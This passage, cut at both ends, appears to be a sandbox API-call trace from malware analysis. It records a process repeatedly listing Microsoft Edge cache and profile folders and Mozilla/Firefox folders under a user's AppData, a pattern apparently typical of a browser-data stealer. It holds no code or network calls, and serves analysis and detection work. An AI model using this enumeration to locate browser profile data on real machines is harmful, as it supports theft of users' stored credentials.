cAlternateFileName="CONTAI~1.DAT")) returned 0 [0180.054] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0180.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.055] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead", lpFilePart=0x0) returned 0x5b [0180.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.055] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead", lpFilePart=0x0) returned 0x5b [0180.055] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58e291f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0180.055] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58e291f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.055] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf58ffddd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0180.055] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.055] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0180.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.056] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead", lpFilePart=0x0) returned 0x5b [0180.056] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58e291f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f410 [0180.056] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58e291f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.056] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf58ffddd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0180.056] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf58ffddd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0180.056] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0180.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.056] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User", lpFilePart=0x0) returned 0x30 [0180.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0180.056] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User", lpFilePart=0x0) returned 0x30 [0180.056] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd6771884, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0180.058] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd6771884, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.058] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0180.058] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 0 [0180.058] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0180.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0180.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0180.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0180.058] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User", lpFilePart=0x0) returned 0x30 [0180.058] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd6771884, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f450 [0180.059] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd6771884, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.059] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0180.059] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.059] FindClose (in: hFindFile=0x135f450 | out: hFindFile=0x135f450) returned 1 [0180.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0180.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0180.059] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\Default", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\Default", lpFilePart=0x0) returned 0x38 [0180.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.059] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\Default", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\Default", lpFilePart=0x0) returned 0x38 [0180.059] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\Default\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0180.059] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.059] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0180.060] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0180.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.060] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\Default", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\Default", lpFilePart=0x0) returned 0x38 [0180.060] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\Default\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0180.060] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.060] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0180.060] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0180.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.060] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla", nBufferLength=0x105, lpBuffer=0x12febf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla", lpFilePart=0x0) returned 0x25 [0180.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff10c) returned 1 [0180.061] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla", nBufferLength=0x105, lpBuffer=0x12febc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla", lpFilePart=0x0) returned 0x25 [0180.061] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\*", lpFindFileData=0x12fee34 | out: lpFindFileData=0x12fee34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa9067e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0180.061] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa9067e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.061] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Firefox", cAlternateFileName="")) returned 1 [0180.061] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="updates", cAlternateFileName="")) returned 1 [0180.061] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="updates", cAlternateFileName="")) returned 0 [0180.061] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0180.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0c8) returned 1 [0180.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d4) returned 1 [0180.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0ac) returned 1 [0180.061] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla", nBufferLength=0x105, lpBuffer=0x12feb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla", lpFilePart=0x0) returned 0x25 [0180.061] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\*", lpFindFileData=0x12fedd4 | out: lpFindFileData=0x12fedd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa9067e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f890 [0180.062] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa9067e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.062] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Firefox", cAlternateFileName="")) returned 1 [0180.062] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="updates", cAlternateFileName="")) returned 1 [0180.062] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.062] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0180.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff068) returned 1 [0180.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff074) returned 1 [0180.062] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox", lpFilePart=0x0) returned 0x2d [0180.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0180.062] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox", lpFilePart=0x0) returned 0x2d [0180.062] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0180.062] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.063] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa92ca6c, ftCreationTime.dwHighDateTime=0x1d327c9, 